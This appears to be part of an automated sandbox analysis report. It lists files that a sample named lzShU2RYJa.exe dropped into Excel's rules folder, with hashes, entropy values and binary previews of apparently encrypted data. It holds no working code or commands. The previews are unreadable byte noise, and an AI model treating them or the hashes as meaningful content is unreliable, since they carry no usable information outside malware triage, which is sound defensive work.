SHA1:	BB3C35867E1C325B403C2DFC1BD2293FE0939A59
SHA-256:	E641C619BFF4DDA0C3C5B34C86671CBFE3A527480A6AEF4B0D0F172B0CCD98D6
SHA-512:	CDF890179684100A507417702D07C61C67720F6AE64E2A4EAEB2731353942A6DEBB33BCA5D773FDC8F7037E0F2FD87E3885EF8AAA1D614496D63B31806B78B6A
Malicious:	false
Preview:	<?xml..9.K.D.{U.i9.\)'..R..B.#N.<aw./...d...[..=.V.S.,......4[g..../.....'.I..}9P.....VH.W/..q..U..&.......+..b..-..l.<.a.h..n..S.....%E..-..^.,.}...,........QU#N. dx~e.IY.\|..%%.4<W.r.....9.ga.7x...$..q......};.>.......2...?=P.c..K.@o4N:.,.j'<Pg.s/.a{..K...1.Oj...L....T.lO.Z\.p. ...P.$;.M..j..gj.. ...y".....s..4.JFv1...%(...x..g..bh.<..f..}68.,...6..&$T.....~V6.......mX+.(...H>\|.g.p.d..r..x;E.G...2?.......^......IRO..<.......vc.. .K+.l.CW%.....]...."e..+.Z........9."=q....,...I.xq..]Cx...Dm.%8s/'........5(.B9...6. .......g. .@..).2...p..."MyB..t.....?..>;H-{.X.i.0..!..6...%w......._...;.....:"9`.#..e..\|....T..g."....7....y/....Y..wwT.6.<W...W..Wc..........Y..hw......c+DM ..X..,3)...K.W.m..4.....A.7_MSbs.L.r.F.m..5..T&..i^VU..!.?r.C....5..#..-......{.b.}D...d.i..0......F..\..F..h..=@d..X.y.:a.xJ8..'..La!....^rZj...R.....*...;."...+;..W..)..".....+.M=.N...w.^.."u.Vl..G.z.......}.:.\|&C.\|Y.wC+..f....2.]...d.8/..o...gEQ.V......'h.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320003v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1144
Entropy (8bit):	7.806937714960668
Encrypted:	false
SSDEEP:	24:KUD3P3pVCXe6z8VOsaStR6YS4b8cMNyRS3xHNfIYt2lJLVbD:R3P3pt8saS/tS4bYwRS3xHOYtc1FD
MD5:	162D61998693238C6B14DF63B38BE441
SHA1:	853AF9F8725235798055BF36023856CF6FA2343A
SHA-256:	9FDBB38230D8C92095746A96138F044865E87892A6FF19EBAC4E27E28E8F49D9
SHA-512:	B5259E255154DE2FF74720DB68D25FA1CA592DE6BE27B844A4659B0D3F2993C2A0F095350A2DE9C2BB10AF3894DF8D0D3D16BDAFBD8F356CF69E0B0B73C0FEDC
Malicious:	false
Preview:	<?xml...........d..Q...R.q......<......q.#.4z.2.7`.o..r.v.._..6.0. .....7..HV.........oWr~...a.1....4....o..5^b..U".0 @\.o.j....+..}.5.E2..~.{.."U!.....4VbU...............ve.Lw..x...x..+..........4f........"../...e.>...:.d.. ..R....J..I.E..(.r.qK...?J...A.V....v........O.+.?bH..M.&=&F......@.T.b.......G1v......V.+....q....u.:.;]..U.FT....T...::.SzWS^>...9....X)....N....UH......"#....GxT0e-.d.i.. kc.k[O.....,.?...s....b..`..Ic...R.o.......3..}BN@....u.....8..f.Y.?1...W.n.....%._...b..%#...6{Ex4...ZFC......&F....;...4....@.&.T.R.J..&F]i.O2a3...A...1.w.?.T...S.m0.Fu....s.Q.J.L.5{.A..I.l.xa..q1..1.1..).Mb"...2...S,.....k.h....xr.....{.EC.BC..}......G.+4..`.]...2o...<.4..@...Is.".>.....}.h.....oW..io.#...8b....K0..R.....9..~.L..d..E!..t....^[fb...xh...........o........L.2.@...p"k.+...........^..J.r.b.....\|..>Q. ..^..2.T7..r0..O.\.F..',.,.Z.)-.E..)P.Y...6:..eS-..2]YY....+t])..../.\...&.Wl4Ix.=.......*...6..9..D...@... ..j..6k..5..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320004v6.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1967
Entropy (8bit):	7.894729571768459
Encrypted:	false
SSDEEP:	48:5SKnJ84NYTPvPLiAUVOyvRf2ibns0yTAfzcuWuzobnFD:5384N83PLiyyvROkns0FzcuWu0bn9
MD5:	CE92EF7901F9E7D2D67AF936297C6182
SHA1:	25F2A295DA084556A5DE40FC165446A1B2BFCC4A
SHA-256:	C85BBDAC421A1CC07ACC9869C4A6DF4F9E32400B56B4C4C814C3EAEB01403D88
SHA-512:	770D05436EAA9CE276809113404B157B0064FA4330CEEA7ED88D4B3BB4A781B16F9BB0B06CEA8961CD4912487DDA08257EA467A31CF7B0EDE3E21A1A063773B6
Malicious:	false
Preview:	<?xml..G..~E...+F6..w..k)d.T...T9...gFU..,...~../>In.oK..-...b]..%..W[.Fs.(.;..%....h.^a...h.).>...e.Cc.S%..%..(.....s)d.........zh...!..,...1.WJ....3.........@7.}Jw...".h:..p\|..Y@I...h.Ll.6,.D]K......8.#HZ#.IU}v..q....T19...>"....&...c.....1.....@?...ac. ..-c.E...D.{.....{dp.yM...v.7Z"...j..:3}.F.~..^-"....j..>1m.J7...*..Ew(...."..^8\...Y.t.....;.c..G8...U./....?..&.=........".q...d..\|O..5..5...r.........+...z.+..<.`..b'......... .S..{'\.(...6.1hU.F.`1.".d.....$.bn....'c.d=...D/.....<".q.x..iO{C..b.l\.e?.%......g[.w.>15..[.@...\|U.....6....0........h(j_.d...>.. .....G...?...-oi...T..jc`.......'Q......N.._.f...k.M.{.q0......]...-.....\|XjG7;...........(.........a.i\|.k$.L....%,s]...../`.8/....:.K+b.Qy6.-.H.. ..w..}%."...#..y..p}......L.y....{...]..P...tC..!.p.g.m..5...0...4.uI7...S.._..%..........i.\...f{.d.V.....y.......u..OS...a.4.<...X+..#.u^./...9r{....4..(..p.L..pu.3...t.. zQ...$ ...`6..F/$..O..Y.U..I....g......^..\|.S~...,Z..e\|w..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320005v4.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1427
Entropy (8bit):	7.864459407530341
Encrypted:	false
SSDEEP:	24:evC5J1chIgWNKZDM649kZtXq6eZb1itYjId0fLVwo7t9fHMEMaFoBvNnGG80Crwg:eE1cefKq64CHJ2b1I2CY7ffHId2ciFD
MD5:	AB82D00F64983808A252703F04D9AC45
SHA1:	302A023377A93CB2C783217D1827B6537B216730
SHA-256:	4332988730D2413906CE40D2AF12EE4DAAE740C1FB7AAD420E97899E2B1A1DA4
SHA-512:	FB1403CCF3F5A85A3D60C650828EF0B1E67CD63045BC755A37B9DEEAC40BA5DA584867C5934EF3AFA9CE8782EDEAE8824488761E0963083E9B28CD8B5B06A34B
Malicious:	false
Preview:	<?xml1z\.31j8..R5l...X..h..g./.u.5Y.&..........n..P{.f.?V..[l..3.$....S._{..OY...........2B...\.R....#..1.#..X..%.H.UQYl....]..mB....V.K.."+.n.7.~O:...i..=.6...J....Z..$.....-..ew,.7$....f..>dA..........$..9..YV[..:.~..'].v....H.........Y..N..jT.%.U..:.....ofRE.....UL.,..../....._..rN'J.Va.T.`J........ q{?.fpvyt...VJP..pU.....7.o...3.Ph......n.1,3.d...[....x.e_..'{...<S....h$Z>L45..O.e.rjA#...4...8Qp..1WT.o.=AA....../^..\a)q..j....G..h..S.G5.E@A..<.6..a..".....V.5c.....W..^.Z..:..<..yr..3;K......8.o7l....x.M..v.u.k..5...4TFz.....%..2..n....]S!..Q..).y......h...`.z.r.7.c.......B..'E.o..&5...h.N.!]...v.Yss...bq....x.....P]Zy........1.dWk_......S.y..@Kp......ern.......v.A.....,(#...z..!.gy.Vz..Q..\|Gt.....+/...m..<..(U.S../l...SK.v.\|........-x%>zl.~.....p.v.ZX[5D..T..o_/.%52JR...z.<..`:`.2.....)..I....[..2...)'+[.....U.w.#w...E.......\.f..H...`.....}.,..A.&..g.U.S7EY\J8...b......?........L..=..{.3...@.}...d(....F......e... 3m..'..M.a.C.2.S.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320006v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1528
Entropy (8bit):	7.861625537828172
Encrypted:	false
SSDEEP:	24:9ITYbiU+IY0h0GiWFIchTLrFxtteVtwClSQ6SJzqBK5AowgV5YfRltcVbD:+T7Z0mWFLp8wZQhWCAlgnKbGFD
MD5:	BAA56348CC36F52FDE6CCFB5E74413EF
SHA1:	65B913E8427142DD723973B879268A108B98DE19
SHA-256:	9F06F0E96193EBE1F630962E04D2327A7AE0BD61FD4E178AA458117EB7CC8B81
SHA-512:	51F37C976B23AE6B300752A538574139941DE29F2994535196A26BAC508AB5E00873E48F01216C26165CA00CFDC7CD27E8EEE8471CC98C804AE3E77CCB19419F
Malicious:	false
Preview:	<?xml...j...S....8O.....C..U..F...:.....u..w............g..r..G..v.vr:Q.g.e..+.}..........EO......r_....m.y..]..maaf_E...4n..B.UM.9J.....l...5+.5a....N%.....],..k........8& >..U...Y.......VA.D....&G.!...P..E....1..G..r.lt.yM4.~B..t.-.I....g.{4D....N..nA.4.%.7.........s....&_[.V.`......s%t!..@..Q...(/...........K.."g)j)zj.~3o...O.u/Q..l...>...1...jn..t.w....B.c.'..<....\]@X..Jk7..B...S25.E.%~._.z-..h..\..L./..X;j.t.E..+S..R4.+x.V....Q..C.V.....=o......c.......:....Y..}g]ZE....<.....~;V.V"..]..\|.P...,w..9.c.:.+/JE~......\...8..C....].r..B..7ed......0.u.h...`-.o&.S.....:..ko.p../N,.I.J=.+....Hl .;'uP....}5KDN...!b..$.8.........../.z>u.A....p..$.E.&".?......... .z..7e.b.kd=.....m..........7.)..$........~.6.......Mz.b"..R....N.n.i....a\ .H~^.U.......SD..R?t....B..#^...U..:.H..z..6......Y.o...-.vT..p...QC" .!...o..0?.l]b..-`.Q......_.$...jO......y....b%A..~O.X.I2.&...TMu.&BL..2...A.n.F.K...JVb.....9JJX_...P...=^.=.*.9.C..:'..($Q........tj5.mV

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320007v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	7.826897142679707
Encrypted:	false
SSDEEP:	24:qx6e5cI0TSRVhsaA3n9ZBkPXrdbDv2AgBf/ehXw0YRIam04yjVbD:NYq4VhxIAPXrdbDR83V0qIWjFD
MD5:	D04AA60B1CF429BB4DB5B6897375CC7E
SHA1:	2561ECCED7645B8A7A90E49A0312E963ED750265
SHA-256:	C7BD10FCCA785D37454B44A6A0BD20F70D38745599642903F9715EFE8C9469AC
SHA-512:	8AD2A99407C84EEF77A98EC817410D7327A39BDEE5951919CA5D378D8733F4CF779E35074FD0D012AE182D08A1697C7819DAD31DAB4EE93AB4B1010B572B8CBF
Malicious:	false
Preview:	<?xml3X.E.\|..in.Yn\|D.Z.P.....].j.e..b...z..wj ......3..'U...[.4.j.....QS.."...2kho.."....&.&.....L.Ey.K..D..[._^...Q.gy...'.K#q......d..qqj6.E...!..,.(.CZoZry...c.[I"iQ.F.ni.#(....#.[<Da?.......1RT.u.>54v..a/.5....iJ.Z.C5.Arh.O...w....9.Q..R...\.atc..r..'qo.i.sq.3..j..U&O#%..?.~.,@..DO.........$&.YLFC..J....A...V.lv....:M...vv.]...t.+cz.U....G2.45.L.YC.v.k...@L.;D'`=L..~W.]8`..!.U.i+T.&8....#?..JJkY..C..+....C,..o6@$... .u0.-..l.u.g..u.e..PFQ........._~.#@........x]CJ.N.^.I.Y....~.....Bz4e.Xx.G....5...HL.V....ZU5....Y..%..7...L+.C...L.x...`.r.v=H....N.....2p>..6.)...@....=m..h%./Z.P>..e....o...\?..vI.,.D...H..l...].^f.@0(.r...v(..Q...k...).../<.,...C..6`.._...._.....n.F9.f..{.f.....4~...*...O.s.=...8n".P%..g..!.....Zy.1...v-K.........yd..wf..]....x......!._@.1..;...v..6.z.iB.1..M..5b..r..JbB%<.i6..F.......!.6dn..v....._=zgp.T.95.+).H.{.7.....lc;Y....../.%..+1A...V)Z...c.Cd.d...+.RB.&N.......B.....9aY....Hg"...../ky%..f,.5c.{.0...r.\|A.B.g8.....v.,.zZ(

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320009v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	866
Entropy (8bit):	7.726851495454088
Encrypted:	false
SSDEEP:	24:QyAYI5i/J5GDiFQYJuq6l2BJbsx4OaHNHUwwuBk05VbD:QyDMi2OyYJuBEvICrHpXwuBZ5FD
MD5:	E921F1EAB19D50D4334FA2B7B5B00E08
SHA1:	361F51CA743343EFAB12B3C2A9B708F8917B90CA
SHA-256:	7CEA207EAF40812865AFD296FD9E7B6C708642A52DFC057C29CD25A4784CE038
SHA-512:	73274E98E67CB238EB8E83161826A18C7045932119F32703DB313B4C0450B5C6D76D3DD98CAC30DD381512762AA9CCBD5BE07455220CB2413AAF03DDF0BF37C5
Malicious:	false
Preview:	<?xml-.ZT... Q....i....h..-..O..0.[..n..kA..jL.h.*..VZ....v..E.]......z......w.../...(..#K...c..h.t=XO.r...({.....>.:..._f....<...0..L$6..P.../..y...g[H.@nD.q.5...{.0.F..5\|.....i.=.R.o.P.......H.n.....M4....U..R26.&@...........k\A.YD.#. _..l..X\......5..U......y.X.<.&.& ..\|.D-.2.2..vT.._.4V.Q.u...i.7..z.m..RE.;..RW-.z..G......D0,.".......]....T.&....._r.&.~.j........Y..Z....5G.z.n.u\|..1@_...;..;.@.Ye..N.w~n&.h_..>../.w.....B<..;.1....\|2N..D.dp.......3V..f....=..&E..=.E..n.....^...8..... .....U.a.....C.X.,M\|.4B.&.....Zq....Z.U.z.....>[...h..U.?....n.....Ir.....u+.)...+.z..T..:.....&.......b?......HlK&B.LZG.[........Hvs.... ....+.E.o@.Td..K-.<O&..c#.[..H.d.........P.(..U5s...p"+..N.. y@.oD.]f.o.{.8.^.}.>X7....\|..Z...:}-.......[.<...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320016v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	901
Entropy (8bit):	7.773935588972099
Encrypted:	false
SSDEEP:	24:7smBToR+ZmWS8PYXOChPFUcB7BqQR4VbD:7smBT3TPYXO2PFUcf4FD
MD5:	F96529D9BF4460B750B8C45CDF034AF7
SHA1:	473EEEADF145F5A327292BD71B9E59F0BF09A052
SHA-256:	E7FFD1D8485017700EF0456C86804163F75BADE1645417E15980AF2EB554B7C9
SHA-512:	36F3DEC3E85236F7A6FBDDEC666C82DCCE00A3053063572390897BEB4B645CBE523A0A4D37E93BC172F653F5E870D9AD203700893E8E1CED65F0B4D74BBEFCDE
Malicious:	false
Preview:	<?xml..&....#.$[..Tp.......mN..o.-...0.5&..1.\v\..Y.5..7.:.8ph...e...)...=&5..<i......S..^.vps.(6T...z........>.."q.. .u.y..!..".....Lw...I,..!bR.5...6.....`....'a.......!..k^M.Y.l.[...3x.T..........[..G...Al......w../....X..-C.P.s...,3....C..Y.9.@...9'.O...%.D).T58X.. /p....A.<...>.[.....e..LE.....u..&..t........@.....P.A8.>..!..z....6..(.O.Q.0\|.O9hI.......w).v.~[H=^/BS...X...fHO4.L...j8#..'...qY....Gf.DX.?.fMJ.U..+20.Sk8>l..........3r...K.....Y.~.\|'...3j.Y/.@}..F_F...............eF......Mv.....'.]mo........lec5lU..28F....Z.. ..".....M..ji.......T..Yd@P!.Z...gn..&u.L.....YG.s........5.....2..F..."..1kJ....3N.l...._...d.&~....#...7g..........P;o.......$..8...P...\F~.j...(......r.^...\|....CJ.....m.L....rb.N......[.#...*.1...'h.EGM.bs....c.p..C.&0[.....\|...K....n.3."...-.=..>itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320021v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	860
Entropy (8bit):	7.763778231546117
Encrypted:	false
SSDEEP:	24:+0aUelHbsy4wZsaq4+YZDBdiiHcDludK6yMYZVbD:l5edbsMNSOld9kudKZFD
MD5:	6F98D1DDAECC5E81D8B1D5E8A5E2E64B
SHA1:	46C48E67BE0D55AB419260F7D1CC44CDE64877C9
SHA-256:	3B62C352024F1D9975D5D07E11B623B64BE672D95E354C9A811A5B8828978AD5
SHA-512:	4EF81F488ED1E6FDCF0973C306D68434A3AE5E182FB4157243B1B1B2CAE29FD9C00608DB648E9D3C85E23A8D80719E57B343CF5FAFC84988688D81A4A28CF15B
Malicious:	false
Preview:	<?xmls.&..\|.J...q...b U.........{....P....G}..n.A.......Pc-<p.y..Z.8....4..<._...:.1..4............p.'.9A.b....2.H...Y..X?h...W..N6y..? .c.30.;O.Q.i^.I0........!.......0.%.$.[.D.p..`.~ .....7..l.....P..HJ;..v...`T..5.qZ.dn..cp..q.iD....OI.L..2..SaD^<..<...z...v..f...D..5+..X.O.U......>t.....)....g...l.b..)Q.5g..0..yy...s.8%#>...$`.+..a..+.6i..]..'W<mg....fG.g.\.[r......,..M.k..A.#..k...\|Ocvc,.v@.E-&pd..[..h.)W.X...aO..._..Mo.FS..`.Ij...K.b.n....9nl..5.!..P\|5.B._..y..e...WK=..'.....$z."S....qj..g..AA........@.....{$(......./....Vs.N1.}qL2f].b..m~G...3..>.y.w...".............~)C$E...>...qM0g.)Y.........k/^.....-D.v.\+.*....x-......\$P.U..M.1=E.T-..(oz...L@....v...q+kE<.!T.\|oH6l.j.@.....!.Y..ajW.,..<..O.q.Puu..es...>...tQ.Oitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320022v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.70683587269511
Encrypted:	false
SSDEEP:	12:9nb54r9I0aLEMRlCzjOovhQ6yIJFO63+4DDJxWcvdcrZ0z52nHbjVcii9a:Rb4WJ0ymI6XDqIC0z52vVbD
MD5:	343528D3335DDA2657F11B84402B0EB4
SHA1:	E57FE3BFA2B3C34A6206B04504B575FD3095465C
SHA-256:	A6B31E03C5846719FD0E6D9AE3F2DE028300E6AF44AD0A0DDDF7B5B9119D3D4E
SHA-512:	CB73839D837965F114B8DDB65C1F03E8C87CFDF57F9E54E9FED81B12AB89430840D0B859EC2A780CB91BBCD1C82574FD18B5CA91468F8BDBF4002F4321635584
Malicious:	false
Preview:	<?xml.d.V.....Zs........b...kK.\|./].Q.u.}.u.J..<i5-..g......._P)..w..'.p..w.5........?..b..X..s......0..M...p....:P....@.F.....N.F.RE.e~=.h..vy.6...8";.....^.q....NU.......h.x..0...........i..2.f..~.n]J..1k7.&.....!....%%...Q\|..U...o..l4{...=b.7e.f}...?.\....,.`m;Qm...Jg.A.5.&.....U ...@..d.N5I...."...Y....-._..w%.......&.2..G@...o0.."..?...Yp.....y.c..-.^...[.i!._.!.+.I....Qn.dm.l.#.N..@.t..I..h.d..kV.`...p..B$..fJ!.'A...).......~?..U..pf.\<+...B]=f...(.&..?...)EW....S.....5s.8.G.0..,~=....\|]{.....a....%l......!.p..-.K.uCO...[.O{to.Y.%...uA_..gs..a...*.....:`g).w..\|v3....d{(..5....A.L=\|.F.x.<.e'........I..O...T....G1..Z..B....`.v6.vitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320029v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1117
Entropy (8bit):	7.820742647211338
Encrypted:	false
SSDEEP:	24:WKLkgwaaSyZMcJYJHrI6WZVA8H92UAo7TQW0zBVbD:pkgsSy+SaLI6ORH9mo7TQWoFD
MD5:	A7D3FF42EEF67ACBD49F72287C860B4F
SHA1:	09ACD2E921C0959DC9219C515D47451C3B574536
SHA-256:	53930094380D0B29C1D0E27D4009626387BD4E14AB339E2AA8489328A8289134
SHA-512:	99E4DEA64716468E7387302E0495ACA27E3ACF73AB0402066F8234405F404267265C481CF4B630F8768651C8F7689C294059B3AF2FBA55E09400130B78194542
Malicious:	false
Preview:	<?xml.s.G..@.~A...../...>l..C..\...........i.p..U...K.+l...hh.u.{.R.>d.f.....VF/........Z3.$..I...o .r[0...h.U.....=GS7..(...+Q.;Q'.4..U=....[qg.......Y..2.W....'..vj....d...../..{{...\|4.i..S...e.E.:s.`...5...Y<}..!+.Y.......Z..A%..\|1.........}.....f......R)...h...S.Yz.x. .!...$..+.t.-.(}.;y.s..}./rg.....?..mc&...Yk.lwS;..Q.B....d.l.'Bj....9w.5.;]o.;0z.Q...-.c.i.e]'#.~....w.......!/.....%.H.!0..x.."3[.+...5......MX..<vV....L.]'e...G....Iw.D.Pd..AF(Cp..E.+.4.uM.f!L.o(.~..g)!...N~._.4....x\..qu........53.....,.9z.@.....8.......u...@)..u.S\|....=8..94.1G..B....Mh......Ab.v..5E.....MM................,O..v..e...XRR.xW..x.......KN.(V.6..!s..e(.......vK-....D..M..0.v..........dCj...e..r.=...bk....h..T........\q...X$o..KxYa..7.."...e^.<..'K.,.g@=........:6U...h..z.v....X..j.<6.N..z...5...+..}...s.t.m.Q).6..<<8.....=..&$V.~...5!...19..S.......@3 W#R.%...LJ8/.{...m..Y..6......,.9....v..E.......?j.....Bv..Q../......u....oA..r.y....[\:.U.C.h.PM5.6rz+

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320032v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1025
Entropy (8bit):	7.787996536936291
Encrypted:	false
SSDEEP:	24:pIv0GiwnhU59anTw2p85dtI62bkQy41iv7DL2Ey7MdqDuQVbD:pc0Paq5jd7akQyyiv7HAQdqSQFD
MD5:	B0723DEC4FCDB76CF9F43D5512CD761D
SHA1:	5B198C8CD375202C49C7B0255D0A7244242FE376
SHA-256:	277FE94FD61579B989F264E3F867125F755DE79A15B6C7DC3B55D2126B0EE3E4
SHA-512:	F2BD5D27D912A9CC036297409443EAF417376CF53FDDC2907568D0B2657286697FF05365BF27C61F20C2469987BCB21D4CEBA257EACE4671683274FD1FA6DDE3
Malicious:	false
Preview:	<?xml..0..^3.x.e&ak.f..\|..v3$.Cu.......c.....!........+....c...5On.k...C.+...A:.YW.... ....y.].....r........0.\|.96.~.....x..=...B.E_.#.......r.%.{..L#(!..>.D.2gqf.>E.c.{.%.P..)"+....6n.X.\..[B}a.\.r.._.]5.h.R.;..NL.....o....i...w.)...H.J.6&v..f./...-9i.r.gv..:...q.....F...O^..Wir..X..:.......").RU.5@...h.B......v.9Ss7-.~..bu...p.rS.R.l[.`.r.J..r..1.........r..a.$./cu..A>.#........W.1p\.....9.O.DR..T.w......^.../....sY..I..+!.....vG...l.nl....c...`p\|.....t.K.T.C.,.%E{..,V.Q\rU.Z^....]....A..o....[........g......g.\|.>.+..S...bx...mA.q...{P.......B..z.#........&..^........qh..ICF....gT......)....5$8...:.......(..qt[.W<.$....S........ju....1j?.8.k.M.y...J.}..$.+:......$fj.....h....fV.y.7.0"A.K.s#..8r6.... .\.bmt...._E...F.1...i..\|.A\&.[.C.../..d..zb.f..,.,...&.o:8..L..(,.C..b...=!^Ok.Fh.^...'.fE.Xb..#.y>o..c....D...5.Y..~.,..........S....bm...2<.g0..i...K...\|..e....(.F.B.....Z...l......3..v.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320033v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1112
Entropy (8bit):	7.802635573262294
Encrypted:	false
SSDEEP:	24:DdtoKZeoUnzYNiYlhgGxfZwW6HRC3RQ8ktC7mdjk0zzu+VbD:D4KIPMiwbxfMgBRxm+0zy+FD
MD5:	020D77069FEE8734D455DF3C88F70D55
SHA1:	68660D032C919F366E7128D0876F17C0883808B4
SHA-256:	4D8282A6B0EC2E84AA0F8E8C7D9732095D03E85A7D195A73A385FA598B22955B
SHA-512:	518FE481E52046C54C0483EF27FCA4BA8DD7DE66D4B3EA0C8B1D2AD4A45F39FCF4719CFC9E979050EB73E5B86CC841D32036BFC45A1751A3E4A91A0417CF6217
Malicious:	false
Preview:	<?xml.E.;....<..4;..[..U..n.7.O..2y.V..Dc..8WM..Ml...K.G...f%./.Q.\|k.-...b..]..Q.o.F.\|$....J.<.t..%.8.<$=......b.:8..B6.".......t.1.8..}g..qA..4.$(...z\|b..2~...k\|.N..?...K.~.Y...s........e>.x.&...G(=......Q..d.~.dc...?@. .P.E.I.g...9.B..#...%)1.t..p3+X.'..h..$..R..6..F...dG1..AY.0r....+<.....3.+..-M.......}..[0.o..xz.{.'..<i.Lb.&..j.....r..+}N..7Q....~./$...]..}......&..g..$..(........_.~.?...S$B.3/...n..4S._....o....)....I..^f....e.[.v\|.#...B0....~G6&.........W{[.......;0....6...\d#.*~r..PZ.._A\Y......`-.b.G......52.N...fG.uW)`... B.k.....A(..y........X....P... ..V...k......<..[2.D=&.l...Muw.@C).0n.9~.......$fl....+...3;3.K.:...p(....(Mz........p..OH....U\|...p..P..._!..=4@..x.E.}..).Q.]..vr...Di.&.....)~......$..N..]%....7...D....p/....f.n...ZSq8.^.Y.l..z0..y.D.:I?....d5..7..8.6.<Y.cs.p.-...5....V=.....n...x....C..q0Vtafs...7WF.@4^....?.ho{Q...tS.MN.V.......L..G...nZY..$....$..c....f.D..e#............'..\|...J.h....s..9...n..h..../.&3.;.>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320034v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	923
Entropy (8bit):	7.796907484595832
Encrypted:	false
SSDEEP:	24:jblWld+p7u18skpczfn5aQy0r7vLJiVSSEri0cznVbD:++hu18skpKf5aAzJicS0cznFD
MD5:	AC52B396A3DC549B6E1AC28D145DC94A
SHA1:	14B6E41FBB378C0EDAA4482EAA772F2EBD4F622C
SHA-256:	D59003E99C9C5742202D887DB775CCA487DA24F7609D768FD840F224F4CB6813
SHA-512:	2C603591E8FADE5979CD0357BFB8DFC433C0BFF5EFB1A22E1A3751F3D296D971BA8E52A9E5D1C78DFD1BE1EE51404110A37925AF39538119D773F18EF1A48295
Malicious:	false
Preview:	<?xmlAkQ.....>.x.)..:..}~..=.q.}...0........i<...eN.+.W..@\|...l.Q.....I^1..9^..$i...c...p.m......">oC.'A@dVx.QaQ.v...A.V...w.".....4.....i..(.a,-%.=.....k.j...6.t;_B..w.q.R..m.._\,..Y....:.N.Q...i.z..wgE.&US........{..D....]aIuL...a.J.l..W...=.S/.Y...p...}j.$'6}.....@....VFOu.....K........;...9.\|!]z:c4s&..oM{....K..]...'D...{.),..R.s!...ft...-........."5...e.[.Y.........o}.....E.b.2...GT.....S:...Z..kjn...............{._....I.%...f.....,......L.azL$.p...a..x25a.zb.......>dL4....!. ....K.m.$e.,......21.ci..I?`.7y....&._.bD\C.......u...n...6....@.L..4a..CS....s5.pSY..s..8/B!XRO.{P.t}r9G@.P..cW.\....d.....g9c.v/].S..u..b>.s...z.6.....\{..6Ah.. .H!...7p.....W..\.....9q.#).0S...........].R.V..X.T.;4..b...)z%.-...Q^.FD...~....\..]....s.1..7",.8.2.S..+.N.1#...3.~t.z..."f......%...7i..USM.4...oA^zmLitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320035v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1413
Entropy (8bit):	7.8471748934769865
Encrypted:	false
SSDEEP:	24:7I6IvJJKDl/AsZ8yeTkOQ7Ks/Zli/sMvS6dt8ZslyRDgGts1zbNl6BYrqLjfVbD:7FeJKDl/AsZ8yeTwhjgnfKslI2NZ2Hf9
MD5:	2A89C0153C86306F874DE99520AA607F
SHA1:	DBCF756D7E1256A52AE6E8386A224394F74A6EF9
SHA-256:	605B737E8365E6461BC4FD37F20F834732D25D2BA28BE909363ED8D060047CF1
SHA-512:	9B8DE08655290B07C0D84DF83D1423FF57CEA6775FFAA106AD275CDC816706655FB308DF134BD65A2FB0436C52ACABA40C2DF2F3C7235BC4EDD0FBB34F77C100
Malicious:	false
